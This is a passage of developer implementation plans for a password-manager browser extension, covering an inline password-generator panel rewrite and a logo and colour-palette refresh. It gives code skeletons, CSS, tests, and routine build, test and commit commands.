- `context === 'configure-defaults'`: `<button class="save-link" id="gen-save-default">↑ save these as default</button>` (no cancel/use)
8. Clicking ✨ while panel open should close it. The trigger's click handler in the caller (login.ts / settings-vault.ts) checks `if (isGeneratorPanelOpen()) closeGeneratorPanel(); else openGeneratorPanel(...)`. Add `export function isGeneratorPanelOpen(): boolean { return activePanel !== null; }`.
9. The "more ▾" disclosure: render only for `random` mode (BIP39 has no advanced knobs after the redesign). For `random`, advanced contains the `symbolCharset` toggle. Use `<details>` element for natural disclosure semantics:
```html
<details class="more">
<summary>more ▾</summary>
<div class="more__advanced">
<!-- knobs go here -->
</div>
</details>
```
10. Element IDs that the existing tests assert on MUST be preserved verbatim: `#gen-kind-random`, `#gen-kind-bip39`, `#gen-length`, `#gen-lower`, `#gen-upper`, `#gen-digits`, `#gen-symbols`, `#gen-use`, `#gen-save-default`. The HTML structure can change, but these IDs stay.
11. The `closeGeneratorPanel` function must clear:
- `activePanel = null`
- The `host` element from its parent (host.remove())
- `aria-expanded="false"` on the trigger
- `document.removeEventListener('keydown', escHandler)`
- Any pending debounce timer
The full new `openGeneratorPanel` skeleton (use this as the structure; fill in the helper-function calls from the existing module which you keep unchanged):
```ts
let activePanel: {
host: HTMLElement;
trigger: HTMLElement;
cleanup: () => void;
} | null = null;
let debounceTimer: ReturnType<typeof setTimeout> | null = null;
export function openGeneratorPanel(opts: OpenPanelOpts): void {
closeGeneratorPanel();
const knobs = knobsFromRequest(opts.initial);
let currentPreview = '';
const host = document.createElement('div');
host.className = 'gen-panel';
opts.parent.appendChild(host);
opts.trigger.setAttribute('aria-expanded', 'true');
const escHandler = (e: KeyboardEvent): void => {
if (e.key === 'Escape') closeGeneratorPanel();
};
document.addEventListener('keydown', escHandler);
const cleanup = (): void => {
document.removeEventListener('keydown', escHandler);
if (debounceTimer !== null) {
clearTimeout(debounceTimer);
debounceTimer = null;
}
opts.trigger.setAttribute('aria-expanded', 'false');
host.remove();
};
activePanel = { host, trigger: opts.trigger, cleanup };
const render = (): void => {
host.innerHTML = buildInnerHtml(knobs, opts.context);
wireInner(opts);
refreshPreview();
};
const refreshPreview = (): void => {
/* existing debounced refresh logic — copy from current module */
};
/* wireInner needs `opts` for context (action row composition) and onPicked callback */
render();
}
export function closeGeneratorPanel(): void {
if (activePanel === null) return;
activePanel.cleanup();
activePanel = null;
}
export function isGeneratorPanelOpen(): boolean {
return activePanel !== null;
}
```
Update `buildInnerHtml(knobs, context)` to:
- Use `<details class="more">` for the disclosure
- Render the action row based on `context`
- Use the new `.gen-panel` child class names (no more `.gen-row`, `.gen-row__label`, etc. — see new CSS in Step 2)
Keep `wireInner` as a closure-scoped helper inside `openGeneratorPanel` (NOT a parameter-taking function — it gets direct access to `opts`, `knobs`, `host`, `currentPreview` via the parent scope, just like the current popover does). Update its body to wire:
- `#gen-use` click → `opts.onPicked?.(currentPreview); closeGeneratorPanel();`
- `#gen-cancel` click → `closeGeneratorPanel();`
- `#gen-save-default` click → existing logic (fetch settings, update with new defaults, send `update_vault_settings`); on success append a `<span class="save-link__toast">✓ saved</span>` to the save-link button and remove it after 1500 ms via `setTimeout`. Skeleton:
```ts
document.getElementById('gen-save-default')?.addEventListener('click', async () => {
const link = host.querySelector('#gen-save-default') as HTMLElement;
/* fetch settings, write generator_defaults, send update_vault_settings */
const settingsResp = await sendMessage({ type: 'get_vault_settings' });
if (!settingsResp.ok) return;
const settings = (settingsResp.data as { settings: VaultSettings }).settings;
settings.generator_defaults = requestFromKnobs(knobs);
const updateResp = await sendMessage({ type: 'update_vault_settings', settings });
if (!updateResp.ok) return;
/* append + auto-remove toast */
link.querySelector('.save-link__toast')?.remove();
const toast = document.createElement('span');
toast.className = 'save-link__toast';
toast.textContent = '✓ saved';
link.appendChild(toast);
setTimeout(() => toast.remove(), 1500);
});
```
Apply this rewrite. The full file should still be ~250-350 lines; structure stays similar to the current popover.
### Step 2: Replace popover CSS with panel CSS in `styles.css`
Find the current `/* --- generator popover (β₂ slice 4) --- */` section (around line 592) and the `.gen-preview-line` rule below it. DELETE the entire block of `.generator-popover` rules (~80 lines).
Add this new block in the same location:
```css
/* --- generator panel (gen-UX redesign) --- */
.gen-trigger {
background: #7c5719;
color: #fff3cf;
border: none;
border-radius: 4px;
padding: 0 12px;
font-size: 16px;
cursor: pointer;
line-height: 1;
min-width: 38px;
display: inline-flex;
align-items: center;
justify-content: center;
}
.gen-trigger:hover { background: #aa812a; }
.gen-trigger[aria-expanded="true"] { background: #aa812a; }
.gen-panel {
background: #161b22;
border: 1px solid #aa812a;
border-radius: 6px;
padding: 11px;
margin: 6px 0;
font-size: 11px;
color: #c9d1d9;
}
.gen-panel .panel-toggle {
display: flex;
gap: 4px;
background: #21262d;
border-radius: 4px;
padding: 2px;
margin-bottom: 8px;
}
.gen-panel .panel-toggle button {
flex: 1;
background: transparent;
border: 0;
color: #8b949e;
padding: 5px;
font-size: 11px;
cursor: pointer;
border-radius: 3px;
font-weight: 600;
}
.gen-panel .panel-toggle button.active {
background: #aa812a;
color: #fff3cf;
}
.gen-panel .knob {
display: flex;
align-items: center;
gap: 8px;
margin: 6px 0;
}
.gen-panel .knob__label {
color: #8b949e;
width: 56px;
flex-shrink: 0;
font-size: 10px;
}
.gen-panel .knob__slider { flex: 1; }
.gen-panel .knob__value {
font-family: ui-monospace, monospace;
min-width: 24px;
text-align: right;
color: #c9d1d9;
}
.gen-panel .classes {
display: flex;
gap: 8px;
font-size: 10px;
margin: 6px 0;
flex-wrap: wrap;
color: #8b949e;
}
.gen-panel .classes label {
display: flex;
align-items: center;
gap: 3px;
user-select: none;
cursor: pointer;
}
.gen-panel .preview {
background: #0d1117;
border: 1px solid #30363d;
border-radius: 4px;
padding: 8px 10px;
margin-top: 8px;
display: flex;
align-items: center;
gap: 8px;
}
.gen-panel .preview__value {
flex: 1;
color: #f1cf6e;
font-family: ui-monospace, monospace;
font-size: 12px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.gen-panel .preview__regen {
background: transparent;
border: 0;
color: #8b949e;
cursor: pointer;
padding: 0 4px;
font-size: 14px;
}
.gen-panel .more {
color: #8b949e;
font-size: 10px;
margin-top: 6px;
cursor: pointer;
user-select: none;
padding: 2px 0;
}
.gen-panel .more summary {
list-style: none;
outline: none;
}
.gen-panel .more summary::-webkit-details-marker { display: none; }
.gen-panel .more:hover { color: #d2ab43; }
.gen-panel .more__advanced { margin-top: 6px; }
.gen-panel .actions {
display: flex;
gap: 6px;
margin-top: 10px;
align-items: center;
}
.gen-panel .actions .save-link {
flex: 1;
background: transparent;
border: 0;
color: #8b949e;
cursor: pointer;
font-size: 10px;
text-align: left;
padding: 4px 0;
text-decoration: underline;
text-decoration-color: #30363d;
text-underline-offset: 2px;
}
.gen-panel .actions .save-link:hover {
color: #d2ab43;
text-decoration-color: #d2ab43;
}
.gen-panel .actions .save-link__toast {
color: #3fb950;
margin-left: 6px;
font-size: 10px;
}
/* keep .gen-preview-line — it's the summary-text in vault settings, separate from panel */
```
The pre-existing `.gen-preview-line` rule (around line 674) must stay — it's used by the vault-settings summary text, not the panel itself.
### Step 3: Update `login.ts`
Find the `gen-btn` markup (around line 243):
Old:
```ts
<button class="btn" id="gen-btn" title="generate">gen</button>
```
New:
```ts
<button class="gen-trigger" id="gen-btn" type="button" title="generate password" aria-expanded="false">✨</button>
```
Find the click handler (around line 268):
Old:
```ts
document.getElementById('gen-btn')?.addEventListener('click', (e) => {
const anchor = e.currentTarget as HTMLElement;
const initial = getState().generatorDefaults ?? DEFAULT_PASSWORD_REQUEST;
openGeneratorPopover({
anchor,
initial,
onPicked: (value) => {
const pw = document.getElementById('f-password') as HTMLInputElement | null;
if (pw) { pw.value = value; pw.type = 'text'; }
},
});
});
```
New:
```ts
document.getElementById('gen-btn')?.addEventListener('click', (e) => {
const trigger = e.currentTarget as HTMLElement;
if (isGeneratorPanelOpen()) {
closeGeneratorPanel();
return;
}
const passwordRow = trigger.closest('.form-group') as HTMLElement | null;
if (!passwordRow) return;
const initial = getState().generatorDefaults ?? DEFAULT_PASSWORD_REQUEST;
openGeneratorPanel({
parent: passwordRow, // panel mounts inside the password form-group
trigger,
initial,
context: 'fill-field',
onPicked: (value) => {
const pw = document.getElementById('f-password') as HTMLInputElement | null;
if (pw) { pw.value = value; pw.type = 'text'; }
},
});
});
```
Update the import on line 17:
Old:
```ts
import { openGeneratorPopover, closeGeneratorPopover } from '../generator-panel';
```
New:
```ts
import { openGeneratorPanel, closeGeneratorPanel, isGeneratorPanelOpen } from '../generator-panel';
```
### Step 4: Update `settings-vault.ts`
Find the `configure-gen` button (around line 131):
Old:
```ts
<button class="btn" id="configure-gen">configure ▾</button>
```
New:
```ts
<button class="gen-trigger" id="configure-gen" type="button" title="configure generator defaults" aria-expanded="false">✨</button>
```
Find the click handler (around line 196):
Old:
```ts
document.getElementById('configure-gen')?.addEventListener('click', (e) => {
/* current popover open with onPicked that writes to vault settings */
...
openGeneratorPopover({
anchor: e.currentTarget as HTMLElement,
initial: pendingSettings.generator_defaults,
/* ... onPicked writes to settings ... */
});
});
```
New:
```ts
document.getElementById('configure-gen')?.addEventListener('click', (e) => {
const trigger = e.currentTarget as HTMLElement;
if (isGeneratorPanelOpen()) {
closeGeneratorPanel();
return;
}
const generatorSection = trigger.closest('.settings-section') as HTMLElement | null;
if (!generatorSection || pendingSettings === null) return;
openGeneratorPanel({
parent: generatorSection,
trigger,
initial: pendingSettings.generator_defaults,
context: 'configure-defaults',
});
});
```
Update the import on line 9:
Old:
```ts
import { openGeneratorPopover } from './generator-panel';
```
New:
```ts
import { openGeneratorPanel, closeGeneratorPanel, isGeneratorPanelOpen } from './generator-panel';
```
### Step 5: Update tests
In `extension/src/popup/components/__tests__/generator-panel.test.ts`, multiple changes:
1. Update import at line 8:
```ts
import { openGeneratorPanel, closeGeneratorPanel, isGeneratorPanelOpen } from '../generator-panel';
```
2. Update `setupAnchor()` to set up a parent + trigger in a way that matches the new API:
```ts
function setupMount(): { parent: HTMLElement; trigger: HTMLElement } {
document.body.innerHTML = `
<div id="parent">
<button id="trigger" aria-expanded="false">✨</button>
</div>
`;
return {
parent: document.getElementById('parent')!,
trigger: document.getElementById('trigger')!,
};
}
```
3. Update each test's `openGeneratorPopover({ anchor, ... })` to `openGeneratorPanel({ parent, trigger, context: 'fill-field', onPicked, ...})`. For the `save-as-default` test, use `context: 'fill-field'` (the save-link is shown in both contexts). For tests that don't care about onPicked, pass `vi.fn()`.
4. Update the selector `.generator-popover` → `.gen-panel` in tests that query for the panel host element (e.g., the "opens a popover" test asserts `document.querySelector('.generator-popover')` — change to `.gen-panel`).
5. Add 3 new tests at the end of the `describe` block:
```ts
it('sets aria-expanded on the trigger when opened', async () => {
const { parent, trigger } = setupMount();
expect(trigger.getAttribute('aria-expanded')).toBe('false');
openGeneratorPanel({ parent, trigger, initial: DEFAULT_REQ, context: 'fill-field', onPicked: vi.fn() });
expect(trigger.getAttribute('aria-expanded')).toBe('true');
closeGeneratorPanel();
expect(trigger.getAttribute('aria-expanded')).toBe('false');
});
it('auto-generates a preview on open', async () => {
const { parent, trigger } = setupMount();
openGeneratorPanel({ parent, trigger, initial: DEFAULT_REQ, context: 'fill-field', onPicked: vi.fn() });
await new Promise((r) => setTimeout(r, 200));
const calls = vi.mocked(sendMessage).mock.calls.filter(
([msg]) => (msg as { type: string }).type === 'generate_password',
);
expect(calls.length).toBeGreaterThan(0);
});
it('Escape key closes the panel', async () => {
const { parent, trigger } = setupMount();
openGeneratorPanel({ parent, trigger, initial: DEFAULT_REQ, context: 'fill-field', onPicked: vi.fn() });
await new Promise((r) => setTimeout(r, 50));
expect(isGeneratorPanelOpen()).toBe(true);
document.dispatchEvent(new KeyboardEvent('keydown', { key: 'Escape' }));
expect(isGeneratorPanelOpen()).toBe(false);
expect(document.querySelector('.gen-panel')).toBeNull();
});
```
### Step 6: Run the tests
```bash
cd extension && bun run test 2>&1 | tail -10
```
Expected: 127 passed (was 124, added 3 new tests). If a test fails:
- Selector mismatch: confirm `.gen-panel` is the new host class and tests query that, not `.generator-popover`.
- Mount target mismatch: confirm tests pass `parent`+`trigger` not `anchor`.
- Save-link selector: still `#gen-save-default` (preserved per Step 1, item 10).
### Step 7: Type-check
```bash
cd extension && bunx tsc --noEmit
```
Expected: zero errors. If errors:
- `OpenPopoverOpts` is gone; tests/callers reference must use `OpenPanelOpts`. Should be caught by the import update.
- `onPicked` is now optional in `OpenPanelOpts` — TS may complain at the call site if not passed. The `fill-field` context needs `onPicked`; configure-defaults doesn't.
### Step 8: Build both bundles
```bash
cd extension && bun run build:all 2>&1 | tail -10
```
Expected: "compiled with 2 warnings" (WASM size only) for each of Chrome and Firefox.
### Step 9: Commit
```bash
cd /home/alee/Sources/relicario
git add extension/src/popup/components/generator-panel.ts \
extension/src/popup/components/__tests__/generator-panel.test.ts \
extension/src/popup/styles.css \
extension/src/popup/components/types/login.ts \
extension/src/popup/components/settings-vault.ts
git commit -m "$(cat <<'EOF'
feat(ext/popup): rewrite generator as inline panel with ✨ trigger
The popover (which clipped off the popup edge) becomes an inline panel
that mounts inside the form (login.ts) or settings section
(settings-vault.ts). Trigger button is ✨ with aria-expanded toggling.
Action row varies by context: fill-field has cancel+use; configure-
defaults has only the save-default link. Escape key closes the panel.
Tests adapted to new API; 3 new tests for aria-expanded, auto-generate,
and Escape behavior.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
EOF
)"
```
---
## Task 4: Build, full verification, manual smoke
Working dir: `/home/alee/Sources/relicario`. Branch: main.
- [ ] **Step 1: Run all test suites end to end**
```bash
cd /home/alee/Sources/relicario && cargo test --workspace 2>&1 | grep -E "test result" | tail -20
cd /home/alee/Sources/relicario/extension && bun run test 2>&1 | tail -5
cd /home/alee/Sources/relicario/extension && bunx tsc --noEmit 2>&1 | tail -5
```
Expected:
- Cargo: every "test result" line shows `0 failed`. Total ~155.
- Vitest: `Tests 127 passed (127)` (was 124; added 3 new generator-panel tests).
- tsc: zero output (no errors).
- [ ] **Step 2: Build both bundles**
```bash
cd /home/alee/Sources/relicario/extension && bun run build:all 2>&1 | tail -10
```
Expected: "compiled with 2 warnings" (WASM size only) for both Chrome and Firefox bundles.
- [ ] **Step 3: Final lint sweep — confirm no stale references to popover**
```bash
cd /home/alee/Sources/relicario && git grep -nE 'generator-popover|generatorPopover|openGeneratorPopover|closeGeneratorPopover|\.generator-popover' -- 'extension/src/' 'extension/setup.html'
```
Expected: zero output. The only remaining occurrences allowed are inside markdown specs/plans (`docs/`) — these document the historical name and should NOT be modified.
- [ ] **Step 4: Manual smoke test (relay these instructions to the user)**
Have the user reload the extension and walk through:
- **Login form:** Open popup → New → Login. Click ✨ button next to password input. Verify:
- Inline panel appears below the password row (not a clipped popover)
- Panel auto-fills with a generated preview immediately
- ✨ button shows gold-active state (`aria-expanded="true"`)
- Clicking length slider regenerates the preview after a brief debounce
- Toggling kind to "passphrase" switches knobs and regenerates
- "more ▾" disclosure expands to reveal symbol charset (random mode only)
- "use" button fills the password input and closes the panel
- "cancel" button closes the panel without committing
- Escape key closes the panel
- Clicking ✨ again while open closes the panel
- "↑ save these as default" link writes to vault settings (verify by reopening)
- **Vault settings:** Open ⚙ → vault settings → ✨ button next to generator preview. Verify:
- Inline panel appears inside the generator section
- No use/cancel buttons (configure-defaults context)
- "↑ save these as default" link works
- ✨ closes the panel
- **Polish:** All form labels are lowercase across all type forms. Required-field `*` markers are gold (`#aa812a`). Run through Login, SecureNote, Identity, Card, Key, TOTP forms briefly.
- [ ] **Step 5: No close-out commit needed if all green**
If steps 1-3 passed, the slice is complete via the prior 3 commits (label polish, rename, panel rewrite). If any fix was needed, commit as `fix(ext/popup): <description>`.
---
## Verification summary
```bash
cd /home/alee/Sources/relicario/extension && bun run build:all
cd /home/alee/Sources/relicario && cargo test --workspace
cd /home/alee/Sources/relicario/extension && bun run test
cd /home/alee/Sources/relicario/extension && bunx tsc --noEmit
git grep -nE 'generator-popover|generatorPopover|openGeneratorPopover|closeGeneratorPopover|\.generator-popover' -- 'extension/src/' 'extension/setup.html'
```
All five must succeed (grep returns nothing) for the slice to be complete.
---
## Notes for the implementer
- **No worktree** — direct commits to main per project's single-maintainer flow.
- **Order matters:** Task 1 (label polish) is independent and ships first because it's harmless and doesn't depend on the panel rewrite. Task 2 (rename) MUST come before Task 3 because Task 3's commit message references `generator-panel.ts`. Task 3 must come before Task 4.
- **The `<details>` element** is the cleanest way to implement the "more ▾" disclosure — it's natively accessible and the CSS hides the default disclosure marker. Make sure the disclosure is conditionally rendered (only for random mode).
- **Test ID preservation:** the existing test asserts on specific element IDs (`#gen-kind-random`, `#gen-length`, `#gen-use`, `#gen-save-default`, `#gen-lower` etc.). The rewrite must keep those IDs intact, even if surrounding markup changes. Check the test file before completing the rewrite.
- **Don't add animation/transitions** — the spec explicitly defers those. Panel appears/disappears instantly.
- **Don't add click-outside-to-close** — the spec explicitly excludes it.

View File

@@ -0,0 +1,578 @@
# Logo Refresh + Extension Palette Shift Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Replace the current arched-niche-with-blue-gem logo with a round chapel-style theca + fleur-de-lis finial in burnished gold/deep red, and shift the extension's primary accent from GitHub-blue to the matching gold ramp.
**Architecture:** No new code paths or behavior changes — this is asset replacement (2 SVGs + 3 PNGs) and a static color palette swap across CSS + inline TS/HTML colors. The CLI/dark feel is preserved (backgrounds and text colors untouched). One CSS class rename (`sig-block--blue``sig-block--gold`) sweeps through the consumers + a test.
**Tech Stack:** SVG (hand-authored), ImageMagick (`magick` — preferred per project memory) for SVG → PNG, CSS, TypeScript, vitest, webpack.
**Spec:** `docs/superpowers/specs/2026-04-24-relicario-logo-refresh-design.md` (commit `4b7f1fd`).
---
## Task 1: Replace master logo SVG
**Files:**
- Modify: `extension/icons/relicario-logo.svg` (overwrite entirely)
- [ ] **Step 1: Overwrite the master SVG**
Replace the file contents with:
```svg
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 220 240" fill="none">
<defs>
<radialGradient id="redTheca" cx="0.4" cy="0.35">
<stop offset="0%" stop-color="#9a1a1a"/>
<stop offset="100%" stop-color="#3a0a0a"/>
</radialGradient>
<linearGradient id="goldRing" x1="0" x2="1">
<stop offset="0%" stop-color="#d2ab43"/>
<stop offset="50%" stop-color="#f5d97a"/>
<stop offset="100%" stop-color="#7c5719"/>
</linearGradient>
<linearGradient id="goldHi" x1="0" x2="1">
<stop offset="0%" stop-color="#fde9a8"/>
<stop offset="100%" stop-color="#d2ab43"/>
</linearGradient>
</defs>
<!-- Pedestal (compact) -->
<ellipse cx="110" cy="226" rx="44" ry="5" fill="url(#goldRing)"/>
<rect x="78" y="212" width="64" height="14" rx="2" fill="url(#goldRing)"/>
<rect x="98" y="202" width="24" height="12" fill="url(#goldRing)"/>
<ellipse cx="110" cy="208" rx="14" ry="3" fill="#7c5719"/>
<ellipse cx="110" cy="202" rx="18" ry="4" fill="url(#goldRing)"/>
<!-- Body, bezel, theca -->
<circle cx="110" cy="130" r="72" fill="url(#goldRing)"/>
<path d="M 110 58 A 72 72 0 0 0 38 130" stroke="#fde9a8" stroke-width="2" fill="none" opacity="0.6"/>
<circle cx="110" cy="130" r="60" fill="#7c5719"/>
<circle cx="110" cy="130" r="56" fill="url(#redTheca)"/>
<ellipse cx="86" cy="108" rx="16" ry="7" fill="#ffffff" opacity="0.14" transform="rotate(-30 86 108)"/>
<!-- Asterisk gem with pinwheel facets -->
<g transform="translate(110, 130)">
<g transform="rotate(0)">
<path d="M 0 0 L -4.5 -3.5 C -5.5 -16, -3.5 -29, 0 -36 Z" fill="#f5d97a"/>
<path d="M 0 0 L 4.5 -3.5 C 5.5 -16, 3.5 -29, 0 -36 Z" fill="#8a5e1c"/>
</g>
<g transform="rotate(60)">
<path d="M 0 0 L -4.5 -3.5 C -5.5 -16, -3.5 -29, 0 -36 Z" fill="#f5d97a"/>
<path d="M 0 0 L 4.5 -3.5 C 5.5 -16, 3.5 -29, 0 -36 Z" fill="#8a5e1c"/>
</g>
<g transform="rotate(120)">
<path d="M 0 0 L -4.5 -3.5 C -5.5 -16, -3.5 -29, 0 -36 Z" fill="#f5d97a"/>
<path d="M 0 0 L 4.5 -3.5 C 5.5 -16, 3.5 -29, 0 -36 Z" fill="#8a5e1c"/>
</g>
<g transform="rotate(180)">
<path d="M 0 0 L -4.5 -3.5 C -5.5 -16, -3.5 -29, 0 -36 Z" fill="#f5d97a"/>
<path d="M 0 0 L 4.5 -3.5 C 5.5 -16, 3.5 -29, 0 -36 Z" fill="#8a5e1c"/>
</g>
<g transform="rotate(240)">
<path d="M 0 0 L -4.5 -3.5 C -5.5 -16, -3.5 -29, 0 -36 Z" fill="#f5d97a"/>
<path d="M 0 0 L 4.5 -3.5 C 5.5 -16, 3.5 -29, 0 -36 Z" fill="#8a5e1c"/>
</g>
<g transform="rotate(300)">
<path d="M 0 0 L -4.5 -3.5 C -5.5 -16, -3.5 -29, 0 -36 Z" fill="#f5d97a"/>
<path d="M 0 0 L 4.5 -3.5 C 5.5 -16, 3.5 -29, 0 -36 Z" fill="#8a5e1c"/>
</g>
<polygon points="0,-6 5.2,-3 5.2,3 0,6 -5.2,3 -5.2,-3" fill="#d2ab43" stroke="#7c5719" stroke-width="0.6"/>
<circle cx="-1.5" cy="-2" r="1.4" fill="#fff3cf"/>
</g>
<!-- Hinge collar -->
<rect x="98" y="50" width="24" height="10" rx="2" fill="url(#goldRing)"/>
<line x1="100" y1="55" x2="120" y2="55" stroke="#7c5719" stroke-width="0.8"/>
<!-- Fleur-de-lis -->
<g transform="translate(110, 50)">
<rect x="-3.5" y="-12" width="7" height="12" fill="url(#goldRing)"/>
<rect x="-16" y="-18" width="32" height="7" rx="1.5" fill="url(#goldRing)"/>
<rect x="-3" y="-19" width="6" height="9" rx="0.8" fill="#7c5719"/>
<path d="M 0 -18 Q -8 -36, -4 -54 Q -1 -62, 0 -64 Q 1 -62, 4 -54 Q 8 -36, 0 -18 Z" fill="url(#goldRing)"/>
<path d="M 0 -22 Q -2.5 -36, 0 -52 Q 2.5 -36, 0 -22 Z" fill="#7c5719" opacity="0.55"/>
<circle cx="0" cy="-66" r="2.5" fill="url(#goldHi)"/>
<path d="M -4 -18 Q -22 -22, -26 -38 Q -22 -50, -16 -50 Q -16 -38, -10 -32 Q -6 -28, -4 -28 Z" fill="url(#goldRing)"/>
<ellipse cx="-25" cy="-44" rx="2" ry="3" fill="#7c5719" opacity="0.4" transform="rotate(-20 -25 -44)"/>
<path d="M 4 -18 Q 22 -22, 26 -38 Q 22 -50, 16 -50 Q 16 -38, 10 -32 Q 6 -28, 4 -28 Z" fill="url(#goldRing)"/>
<ellipse cx="25" cy="-44" rx="2" ry="3" fill="#7c5719" opacity="0.4" transform="rotate(20 25 -44)"/>
</g>
</svg>
```
- [ ] **Step 2: Verify it parses**
Run: `xmllint --noout extension/icons/relicario-logo.svg && echo OK`
Expected: `OK`
If `xmllint` isn't installed, fallback: `python3 -c "import xml.etree.ElementTree as T; T.parse('extension/icons/relicario-logo.svg'); print('OK')"`
- [ ] **Step 3: Commit**
```bash
git add extension/icons/relicario-logo.svg
git commit -m "feat(icons): replace master logo with reliquary theca + fleur"
```
---
## Task 2: Replace 16 px logo SVG
**Files:**
- Modify: `extension/icons/relicario-logo-16.svg` (overwrite entirely)
- [ ] **Step 1: Overwrite the 16 px SVG**
Replace the file contents with:
```svg
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" fill="none">
<defs>
<radialGradient id="redThecaSm" cx="0.4" cy="0.35">
<stop offset="0%" stop-color="#9a1a1a"/>
<stop offset="100%" stop-color="#3a0a0a"/>
</radialGradient>
<linearGradient id="goldRingSm" x1="0" x2="1">
<stop offset="0%" stop-color="#d2ab43"/>
<stop offset="50%" stop-color="#f5d97a"/>
<stop offset="100%" stop-color="#7c5719"/>
</linearGradient>
</defs>
<!-- Body + theca -->
<circle cx="8" cy="9" r="6.5" fill="url(#goldRingSm)"/>
<circle cx="8" cy="9" r="4.8" fill="url(#redThecaSm)"/>
<!-- Asterisk-as-3-bars -->
<g transform="translate(8, 9)" stroke="#f5d97a" stroke-width="1.2" stroke-linecap="round">
<line x1="0" y1="-3" x2="0" y2="3"/>
<line x1="-2.6" y1="-1.5" x2="2.6" y2="1.5"/>
<line x1="-2.6" y1="1.5" x2="2.6" y2="-1.5"/>
</g>
<circle cx="8" cy="9" r="0.7" fill="#fff3cf"/>
<!-- Fleur (3 tips) -->
<path d="M 8 0 L 7.2 2.5 L 8.8 2.5 Z" fill="url(#goldRingSm)"/>
<path d="M 5.6 2.5 L 6.5 1 L 7.3 2.5 Z" fill="url(#goldRingSm)"/>
<path d="M 10.4 2.5 L 9.5 1 L 8.7 2.5 Z" fill="url(#goldRingSm)"/>
</svg>
```
- [ ] **Step 2: Verify it parses**
Run: `xmllint --noout extension/icons/relicario-logo-16.svg && echo OK`
Expected: `OK`
- [ ] **Step 3: Commit**
```bash
git add extension/icons/relicario-logo-16.svg
git commit -m "feat(icons): replace 16px logo with bare medallion variant"
```
---
## Task 3: Regenerate icon PNGs
**Files:**
- Modify: `extension/icons/icon-16.png` (regenerate)
- Modify: `extension/icons/icon-48.png` (regenerate)
- Modify: `extension/icons/icon-128.png` (regenerate)
ImageMagick (`magick`, NOT `rsvg-convert`) is the project preference per memory. Density flag controls source-rasterization sharpness; 384 = 4× standard 96dpi.
- [ ] **Step 1: Generate icon-16.png from the 16 px SVG**
Run:
```bash
magick -background none extension/icons/relicario-logo-16.svg -resize 16x16 extension/icons/icon-16.png
```
Verify: `file extension/icons/icon-16.png`
Expected: `PNG image data, 16 x 16, ...`
- [ ] **Step 2: Generate icon-48.png from the master SVG**
The master SVG has aspect ratio 220:240 (slightly taller than 1:1 because of the pedestal). ImageMagick's `-resize 48x48` preserves aspect ratio by default — output will be 44 × 48 (constrained by height). Use `-extent 48x48 -gravity center` to pad to a 48 × 48 square with transparent margins.
Run:
```bash
magick -background none -density 384 extension/icons/relicario-logo.svg \
-resize 48x48 -gravity center -extent 48x48 \
extension/icons/icon-48.png
```
Verify: `file extension/icons/icon-48.png`
Expected: `PNG image data, 48 x 48, ...`
- [ ] **Step 3: Generate icon-128.png from the master SVG**
Run:
```bash
magick -background none -density 384 extension/icons/relicario-logo.svg \
-resize 128x128 -gravity center -extent 128x128 \
extension/icons/icon-128.png
```
Verify: `file extension/icons/icon-128.png`
Expected: `PNG image data, 128 x 128, ...`
- [ ] **Step 4: Visual sanity check**
Open each PNG to confirm the gold/red logo is visible at the right size. From the terminal:
```bash
ls -la extension/icons/icon-*.png
```
Expected file sizes: icon-16 < icon-48 < icon-128. Each non-empty.
If a viewer is available (eog, feh, xdg-open), open `extension/icons/icon-128.png` and verify visually: gold ring, red theca with gold asterisk gem, fleur-de-lis on top, compact pedestal at bottom. Centered with transparent margins.
- [ ] **Step 5: Commit**
```bash
git add extension/icons/icon-16.png extension/icons/icon-48.png extension/icons/icon-128.png
git commit -m "feat(icons): regenerate PNGs from refreshed SVG masters"
```
---
## Task 4: Palette swap in styles.css
**Files:**
- Modify: `extension/src/popup/styles.css`
The complete mapping from old to new hex values:
| Old | New | Note |
|-----|-----|------|
| `#58a6ff` | `#d2ab43` | bright gold replaces primary blue |
| `#1f6feb` | `#7c5719` | deep gold replaces deep blue |
| `#388bfd` | `#aa812a` | mid gold replaces mid blue (hover state) |
| `#f85149` | `#ab2b20` | theca-toned red replaces danger fg |
| `#da3633` | `#791111` | deep theca-red replaces danger emphasis |
| `rgba(88, 166, 255, 0.3)` | `rgba(170, 129, 42, 0.4)` | focus ring tint (slightly more saturated) |
Note: `#3fb950` (success green) and `#d29922` (warning yellow) are NOT changed.
- [ ] **Step 1: Apply find-and-replace to styles.css**
Use `sed` (in-place) for the bulk swap:
```bash
sed -i \
-e 's/#58a6ff/#d2ab43/g' \
-e 's/#1f6feb/#7c5719/g' \
-e 's/#388bfd/#aa812a/g' \
-e 's/#f85149/#ab2b20/g' \
-e 's/#da3633/#791111/g' \
-e 's/rgba(88, *166, *255, *\([0-9.]*\))/rgba(170, 129, 42, \1)/g' \
-e 's/rgba(31, *111, *235, *\([0-9.]*\))/rgba(124, 87, 25, \1)/g' \
-e 's/rgba(248, *81, *73, *\([0-9.]*\))/rgba(171, 43, 32, \1)/g' \
-e 's/rgba(218, *54, *51, *\([0-9.]*\))/rgba(121, 17, 17, \1)/g' \
extension/src/popup/styles.css
```
- [ ] **Step 2: Verify no old colors remain**
Run:
```bash
grep -nE '#(58a6ff|1f6feb|388bfd|f85149|da3633)' extension/src/popup/styles.css
```
Expected: no output (zero hits).
Run:
```bash
grep -nE 'rgba\(88|rgba\(31, *111|rgba\(248, *81|rgba\(218, *54' extension/src/popup/styles.css
```
Expected: no output.
- [ ] **Step 3: Run vitest (CSS changes shouldn't break behavior tests)**
Run: `cd extension && bun run test`
Expected: 124 passed (one test inspects HTML for `sig-block--blue` and will still pass at this point — that fix lands in Task 5).
- [ ] **Step 4: Commit**
```bash
git add extension/src/popup/styles.css
git commit -m "feat(ext/popup): swap blue accent palette for burnished gold"
```
---
## Task 5: Rename `sig-block--blue` to `sig-block--gold`
The `--blue` variant of the signature block now renders gold. Rename the class for semantic correctness.
**Files:**
- Modify: `extension/src/popup/styles.css` (the class definition)
- Modify: `extension/src/popup/components/fields.ts` (the consumer that emits the class string)
- Modify: `extension/src/popup/components/__tests__/fields.test.ts` (the assertion)
